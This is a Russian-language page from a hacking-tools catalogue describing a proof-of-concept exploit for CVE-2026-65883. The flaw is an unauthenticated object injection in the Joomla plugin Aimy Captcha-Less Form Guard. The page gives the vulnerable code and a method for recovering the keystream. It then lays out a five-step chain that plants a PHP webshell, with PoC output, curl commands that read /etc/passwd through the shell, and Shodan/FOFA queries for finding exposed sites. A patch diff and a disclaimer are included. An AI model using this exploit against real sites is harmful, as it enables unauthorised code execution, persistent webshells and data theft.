Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard: PHP Object Injection и RCE в компоненте Joomla. Восстановление XOR-keystream clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-65883
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard: PHP Object Injection и RCE в компоненте Joomla. Восстановление XOR-keystream clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Репозиторий
451 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Поле clfgd → восстановление XOR → unserialize() → FormattedtextLogger → RCE


Обзор

Неаутентифицированная PHP-инъекция объектов в Aimy Captcha-Less Form Guard для Joomla. Метод onCheckAnswer() декодирует из base64 управляемое атакующим POST-поле clfgd, прогоняет его через XOR с повторяющимся ключом и передаёт результат напрямую в unserialize() — без .

HMAC, без ограничения allowed_classes и без проверки целостности
ПолеОписание
CVECVE-2026-65883
ПродуктAimy Captcha-Less Form Guard (плагин Joomla)
CVSS 4.010.0 (Критический)
ТипCWE-502 — Десериализация недоверенных данных
Затронутые версии18.0 — 20.0
Исправлено20.1 (29 июля 2026 г.)
ОбнаруженоValentin Lobstein (Chocapikk) / VulnCheck — 26 июля 2026 г.

Затронутые версии

СтатусВерсия
Уязвимые18.0 — 20.0
Исправлено20.1 (29 июля 2026 г.)

Механизм уязвимости

Первопричина

Метод onCheckAnswer() в plg_captcha_aimycaptchalessformguard передаёт управляемые атакующим данные напрямую в unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

XOR-«шифрование» — это шифр Виженера с ключом на сессию — никакой аутентификации, только обфускация.

Сломанное шифрование

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Восстановление ключевого потока

Плагин выводит и шифротекст, и открытый текст в одном и том же HTML-ответе:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Поскольку и trap_ids (извлекаемые из <span id="..._mark"> и honeypot-поля), и шифротекст находятся в HTML, их XOR-сложение восстанавливает ~94 байта из 231-байтного ключевого потока.

Схема атаки

  1. GET любой формы, защищённой капчей (регистрация, вход, контакты, сброс пароля)
  2. Извлечь шифротекст clfgd + trap_ids + тайминги → восстановить 94 байта ключевого потока
  3. Выровнять сериализованный объект FormattedtextLogger так, чтобы структурные байты приходились на известные позиции ключевого потока
  4. POST сформированного clfgd → unserialize() → __destruct() → formatLine() → запись PHP-веб-шелла
  5. GET /random.php?c=id → RCE от имени www-data

Доказательство концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Ручная эксплуатация

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

Исправление (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() не может создавать экземпляры PHP-объектов — цепочка POP-гаджетов разорвана.


Воздействие

  • Полный RCE — выполнение произвольных команд от имени www-data
  • Аутентификация не требуется — любая публичная форма с капчей является вектором
  • Joomla 3.9–5.2.1 — гаджет FormattedtextLogger работает во всех версиях
  • Постоянство — веб-шелл остаётся до ручного удаления

Отказ от ответственности

Этот инструмент предназначен только для образовательного и санкционированного тестирования безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.


Ссылки

РесурсСсылка
Блог VulnCheckvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
Центр угроз IONIXionix.io/threat-center/cve-2026-65883
Запись CVEcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883

Не аффилировано с Aimy Extensions или VulnCheck.

Скачать инструмент